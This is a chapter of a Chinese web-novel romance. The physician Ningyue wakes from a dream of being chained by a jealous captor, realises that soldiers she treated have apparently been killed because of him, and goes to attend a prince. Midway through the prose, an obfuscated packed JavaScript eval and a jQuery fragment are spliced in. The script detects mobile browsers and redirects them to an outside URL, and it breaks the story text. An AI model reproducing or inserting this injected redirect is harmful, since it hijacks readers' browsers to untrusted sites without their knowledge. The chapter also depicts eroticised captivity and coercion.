18. 第 18 章

作品:《缠月欢

    好黑……


    昏暗中的少女蜷缩着,墨发蜿蜒。


    这是什么地方?


    身上的力气仿佛被抽干……凝月捂着毫无记忆一摊浆糊的脑袋缓缓起身,一阵晕眩。


    随着她慢慢的动作,泠泠的清脆之音从手腕处发出,回荡久久不散。


    刺耳的声响令她紧锁眉心,不等她多想,倏然的光线从远到近亮起。


    待眼睛缓过来,她才惊觉自己的衣着已经不能称之为衣裳。


    几乎裸露的肌肤,素白剔透的玉颈与脚踝手腕无不被扣上金丝编织的链条囚住,每每摇晃,上面的红玉髓铃铛便随之摆动,旎糜之相。


    “为什么要逃?”


    光亮处的人影愈来愈近,她疯了一般用力扯着手腕,试图从这仿佛为她量身定制的金属环中抽出。


    “叮铃铃叮铃铃”的声响侵袭着。


    来人发出玩味的笑声,缓缓蹲下。


    细长骨节挑起凝月的一缕发丝,贪婪的放在鼻尖轻嗅。饶有趣味的将她的无谓挣扎尽收眼底,像是在欣赏自己的猎物般。


    凝月摇着头,早已克制不住泪痕斑斑。含水褐眸颤着映出男人的身影正紧紧贴上她。


    肌肤泛起一阵阵颤栗。


    锁骨之上的链条,玉铃时而摇晃,时而用力拉扯。


    耳边恶魔的低咛:“月儿……我该从哪一处开始惩罚你呢?”


    ****


    凝月险些失声尖叫,猛的回过神时发现自己已从床榻上坐了起来。


    她惊恐的环顾四周。


    是梦。


    是梦!


    用力缓住呼吸,她压下湿润通红的眼眶,反复自言。


    好一会,心绪才平复下来些,只是纤薄的身躯依旧僵硬着。


    “姐姐醒了?”小云听到声响从屏风外走进。


    几乎是同时,凝月拉过被褥重新盖上躺下,被汗湿的潮气一下子贴上肌肤,她皱了下眉。


    “姐姐可知出大事了。”小云进来坐到榻上,就看到裹的紧紧的她,又快步先将屏风外的窗户关紧。


    虽是快步,凝月却注意到她的步子有些踉跄。


    忆起昨夜,“怎么了?”空洞沙哑的音。


    “听说昨个夜里抓了许多人,”小云注意到她额头上的虚汗,伸手摸了上去,“姐姐生病了吗?”


    “许是累着了,不打紧。”


    任由小云替她擦拭,她继续问道,声音有些急切,“那些人如何了?”


    小云收起帕子,先愣了一会,摇头。好一会,双手抱着褥下的凝月,头枕在她的胸前。


    “月姐姐,我有些害怕。”


    “我看见今晨的士兵臂上都挂起了白绸。”这种白绸她曾在村里见过,隔壁家的白爷爷过世时大家才都挂起这样的白绸。


    凝月呼吸一窒,只觉自己耳朵一片轰鸣。


    那些抓走的人,恰好她都十分眼熟,偏偏都是她问诊过的士兵。


    这绝不是巧合。


    是顾言酌在警告她?此人妒忌占有之心极强,梦里除却不许她为人问诊,就是与别的男子多说了几句话,要不了几日,男子便会从她的视线中消失。


    她原以为只是职位调离,如今凝月才惊觉那些人,怕是都……


    比起梦,如今却是实实在在的十几名士兵的性命。


    凝月颤颤闭起眼。


    “不怕,”她拂着小云的脑袋,自己的声音却忍不住震抖。是她……累及无辜。


    昏暗的连光都透不进的屋子,她却总觉得细细密密的寒风拂过她的脊背,全身的血液仿佛都凝固住。


    十几条士兵的性命,梦中的场景重现,现实的愧疚与梦里的压迫,令她瞳孔紧缩。


    心底的情绪怎么也压不住,眼睫轻颤着,泪水不受控制的掉落。


    空气静的可怕,渐渐的细细密密的敲击声,淅淅沥沥的雨点落在窗沿上,耳朵里嘈杂起来,小云睁开眼睛,雨声中似乎夹杂了些旁的。


    “姐姐?”


    凝月偏过头,极力的捂住声音,吸口气道:“再歇会儿吧。”


    手指又轻柔动起,抚着小云的长发阻止她抬头。好在小云许是真的困倦了,枕在她腿上的脑袋越发沉。


    直至均匀的呼吸传来,凝月拭去脸颊的泪珠,泛红湿润的眼底神色近乎麻木,空茫恍惚。


    而这样独自迷茫的时间都没有留给她太久,随着马车停下,车外叩门声响起,一道声音。


    “凝月姑娘,今日为安王殿下问诊的时辰到了。”


    凝月第一时间捂住小云的耳朵,看向门口的方向,眼底无半分情绪。


    *


    不知过了多久,门外的士兵焦急难耐之际,马车的门枢响起,门帘被掀开。


    女子撑开纸伞,白衣翩跹弯身跃下,如墨秀发只用了一根粗布带简单的绕起,肤光如雪,姿容如玉。


    琉璃般的眸子轻轻眨动,看向一旁的人,犹如深潭般的宁静。


    士兵才惊觉,连低下头带路。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923874|160407||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    连着不远处眼熟的几个士兵也都一同低下头。


    看来顶替那些死去将士的人都成了顾言酌的眼线。


    凝月厌恶的转过头,顾言酌不喜她接触旁的男性,她偏要为这些士兵披发戴孝。


    情绪在琥珀般的眸中波动,她何尝不知这样的反击如同投卵击石,更不该如此挑衅顾言酌。


    可心中的愧疚令她还是这样做了。


    心底苦意泛泛。好似,也没有旁的反击方式了。


    “凝月姑娘,请。”


    很快便到了安王的车架,前方的声音唤回了她的思绪。


    凝月掀开帘子,一旁的丫鬟早已备好水盆,她接过递来的湿帕子擦了擦染上泥泞的衣裙,换上新的靴袜,进入里屋。


    “殿下今日可还有些咳嗽?”探完脉象,凝月问道。


    她的嗓音很清,像是高山融化的雪水,潺湲而下,轻柔悦耳。


    顾相的目光落在她素净脸上,发丝勾在下颌处,唇是饱满的,却比起前些日子寡淡了许多。


    显然是受了惊的模样。


    顾相微微点头,凝月跟着颔首,注意到今日的顾相身旁多了一个人,她取出袖中的药方递给此人,道,“这是药方,里面的药材劳烦大人备好,药性特殊,还需我亲自熬制。”


    “姑娘客气,叫我子霄就好。”


    子霄。


    凝月愣了愣,他就是子霄。


    暗卫营的统领,在梦中的安王死后,叫顾言酌分外头疼的角色。


    顾相望着目光有些涣散的凝月,耳边聒噪的碎雨之声,指节不轻不重的敲击桌面,发出闷响。


    “凝医师可看够了?”磁性沙哑的声音,内容却不如音色那般动人。


    他这叫什么话?


    回忆起她与安王顾相,好歹多天的相处,此人对她的态度始终不咸不淡。凝月也不知是否自己敏感多心,这份不咸不淡中隐约还有几分疏离针对。


    再看向撑在桌上稍偏着脑袋的人,“民女好似从未得罪于安王殿下。”


    他轻扯起的嘴角缓缓松下,盯着她,眸色暗了又暗,低笑出声。


    “凝医师盯着我的人看,倒成本王咄咄逼人了。”


    他明知她说的不止这件事。


    凝月不相信她没有看出她是被顾言酌强迫带上路的。


    甚至现在,连顾言酌都或许猜料出了她的筹划。顾相这般心思缜密的人,又怎会不知她在向他寻求庇护?


    可顾相现下的态度,她该怎么办?